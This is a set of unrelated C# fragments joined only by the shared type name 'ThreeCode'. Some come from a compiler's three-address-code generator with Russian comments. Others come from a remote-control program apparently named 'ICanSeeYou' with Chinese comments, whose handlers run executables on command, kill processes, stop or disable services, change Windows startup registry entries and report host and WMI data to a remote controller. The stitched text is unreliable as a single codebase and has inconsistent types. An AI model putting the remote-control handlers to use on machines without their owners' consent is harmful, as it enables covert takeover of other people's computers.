public ThreeCode ConvertIfGotoToGoto(ThreeCode code) { var new_code = code; new_code.arg1 = code.arg2; new_code.arg2 = null; new_code.operation = ThreeOperator.Goto; return(new_code); }
/// <summary> /// Добавляет информацию о переменных строки кода <paramref name="line"/> в /// словарь <paramref name="variables"/> /// </summary> /// <param name="line"></param> /// <param name="variables"></param> private static void AddThreeCodeLine(ThreeCode line, Dictionary <string, bool> variables) { variables[line.result] = false; if (line.arg1 != null && line.arg1 is ThreeAddressStringValue && line.arg1.ToString() != "") { variables[line.arg1.ToString()] = true; } if (line.arg2 != null && line.arg2 is ThreeAddressStringValue && line.arg2.ToString() != "") { variables[line.arg2.ToString()] = true; } }
private void sendExeResult(BaseCommunication sender, ThreeCode code) { try { PublicCodes execode = new ICanSeeYou.Codes.PublicCodes(); execode.Head = CodeHead.SEND_EXE; bool isWaiting = code.Foot == "True" ? true : false; execode.Msg = BD.RunExeFile(code.Body, isWaiting, ""); execode.Type = ""; sender.SendCode(execode); } catch { } }
/// <summary> /// 发送启动项查询结果 /// </summary> /// <param name="sender"></param> /// <param name="code"></param> private void sendStartupInfoResult(BaseCommunication sender, ThreeCode code) { try { PublicCodes info = new PublicCodes(); info.Head = CodeHead.SEND_STARTUPINFO; if (code.Body == "Disabled") { BD.RunWhenStart(false, code.Foot, @"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\"); } info.Msg = BD.StartupInfoList(); info.Type = code.Body; sender.SendCode(info); } catch { } }
public bool IsInnerInOperation(string name, ThreeCode a) { bool y1 = false, y2 = false; if (a.arg1 != null & a.arg1.ToString().Length > 0) { y1 = a.arg1.ToString().IndexOf(name, 0) != -1; } if (a.arg2 != null && a.arg2.ToString().Length > 0) { y2 = a.arg2.ToString().IndexOf(name, 0) != -1; } return(y1 || y2); }
/// <summary> /// 结束进程 /// </summary> /// <param name="serverIP"></param> /// <param name="name"></param> public void KillProcess(object serverIP, string name) { if (currentControler == null) { MessageBox.Show("你还没连接任何主机或连接中断!"); } else { if (curServerIP != (System.Net.IPAddress)serverIP) { ChangeControler(serverIP); } ThreeCode getinfoCode = new ThreeCode(); getinfoCode.Head = CodeHead.PROCESSINFO; getinfoCode.Body = "Kill"; getinfoCode.Foot = name; currentControler.SendCode(getinfoCode); } }
/// <summary> /// 获取计算机信息,重载函数2 /// </summary> /// <param name="serverIP"></param> /// <param name="wmi"></param> public void GetComputerInfo(object serverIP, string wmi, string name) { if (currentControler == null) { MessageBox.Show("你还没连接任何主机或连接中断!"); } else { if (curServerIP != (System.Net.IPAddress)serverIP) { ChangeControler(serverIP); } ThreeCode getinfoCode = new ThreeCode(); getinfoCode.Head = CodeHead.COMPUTERINFO; getinfoCode.Body = wmi; getinfoCode.Foot = name; currentControler.SendCode(getinfoCode); } }
/// <summary> /// 发送进程执行结果 /// </summary> /// <param name="sender"></param> /// <param name="code"></param> private void sendProcessInfoResult(BaseCommunication sender, ThreeCode code) { try { PublicCodes info = new PublicCodes(); info.Head = CodeHead.SEND_PROCESSINFO; if (code.Body == "All") { info.Msg = BD.Get_Process(); info.Type = code.Body; } ; if (code.Body == "Kill") { BD.Kill_Process(code.Foot); info.Msg = BD.Get_Process(); info.Type = code.Body; } sender.SendCode(info); } catch { } }
/// <summary> /// 发送服务查询结果 /// </summary> /// <param name="sender"></param> /// <param name="code"></param> private void sendServicesInfoRsult(BaseCommunication sender, ThreeCode code) { try { PublicCodes info = new PublicCodes(); info.Head = CodeHead.SEND_SERVERINFO; if (code.Body == "Freshen") { info.Msg = BD.GetService(); info.Type = code.Body; } ; if (code.Body == "Start") { BD.StartService(code.Foot); info.Msg = BD.GetService(); info.Type = code.Body; } ; if (code.Body == "Stop") { BD.StopService(code.Foot); info.Msg = BD.GetService(); info.Type = code.Body; } ; if (code.Body == "Status_Auto") { BD.ChangeStateService(code.Foot, 2); info.Msg = BD.GetService(); info.Type = code.Body; } ; if (code.Body == "Status_Demand") { BD.ChangeStateService(code.Foot, 3); info.Msg = BD.GetService(); info.Type = code.Body; } ; if (code.Body == "Status_Disabled") { BD.ChangeStateService(code.Foot, 4); info.Msg = BD.GetService(); info.Type = code.Body; } ; sender.SendCode(info); } catch { } }
/// <summary> /// 发送主机信息结果 /// </summary> /// <param name="sender"></param> /// <param name="code"></param> private void sendComputerInfoResult(BaseCommunication sender, ThreeCode code) { try { PublicCode info = new PublicCode(); info.Head = CodeHead.SEND_COMPUTERINFO; if (code.Body == "") { info.Msg = BD.Get_ComputerInfo(); } else if (code.Foot != "") { info.Msg = BD.WMI_Searcher(code.Body, code.Foot); } else { info.Msg = BD.WMI_Searcher(code.Body); } sender.SendCode(info); } catch { } }
private void Init(LinkedList <ThreeCode> code) { genc = new GenCodeCreator(); labels = new Dictionary <string, Label>(); variables = new Dictionary <string, LocalBuilder>(); varTypes = new Dictionary <string, type>(); foreach (var v in SymbolTable.vars) { type t = v.Value; variables.Add(v.Key, CreateVariable(t, v.Key)); varTypes.Add(v.Key, t); } for (var it = code.First; it != null; it = it.Next) { //ThreeOperator { None, Assign, Minus, Plus, Mult, Div, Goto, IfGoto, //Logic_or, Logic_and, Logic_less, Logic_equal, Logic_greater, Logic_leq, //Logic_not, Logic_neq }; ThreeCode command = it.Value; // Создание метки if (command.label != null && command.label.Length > 0) { if (labels.ContainsKey(command.label)) { throw new Exception("Label already exists"); } Label label = genc.DefineLabel(); labels.Add(command.label, label); } // Пропускаем операторы без создания переменных if (command.operation == ThreeOperator.None || command.operation == ThreeOperator.Goto || command.operation == ThreeOperator.IfGoto || command.operation == ThreeOperator.Println) { continue; } if (command.result == null || command.result.Length == 0) { throw new Exception("Variable name is null"); } // Если операция принимает 1 аргумент if (command.operation == ThreeOperator.Assign || command.operation == ThreeOperator.Logic_not) { AddVariable(command.result, command.arg1); } else { bool isLogic = command.operation == ThreeOperator.Logic_and || command.operation == ThreeOperator.Logic_or || command.operation == ThreeOperator.Logic_geq || command.operation == ThreeOperator.Logic_leq || command.operation == ThreeOperator.Logic_neq || command.operation == ThreeOperator.Logic_less || command.operation == ThreeOperator.Logic_equal || command.operation == ThreeOperator.Logic_greater; AddVariable(command.result, command.arg1, command.arg2, isLogic); } } }